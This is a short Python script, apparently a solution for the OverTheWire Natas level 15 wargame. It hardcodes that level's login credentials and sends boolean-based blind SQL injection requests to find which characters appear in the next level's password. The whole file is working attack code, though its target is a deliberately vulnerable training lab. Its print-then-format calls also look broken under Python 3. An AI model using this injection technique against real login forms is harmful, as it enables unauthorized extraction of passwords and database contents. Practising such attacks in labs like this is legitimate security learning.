import string
import requests

url='http://natas15.natas.labs.overthewire.org'
username='natas15'
password='AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'

chars=''.join([string.ascii_letters,string.digits])

passdic=[]
extstr="This user exists."
for char in chars:
	uri=''.join([url,'?username=natas16"+and+password+LIKE+BINARY+"%',char,'%#')
	r=requests.get(uri,auth=(username,password))
	if extstr in r.text:
		passdic.append(char)
		print("Password Dictionary: {0}").format(''.join(passdic))

print("Done")
print("Dictonary: {0}").format(''.join(passdic))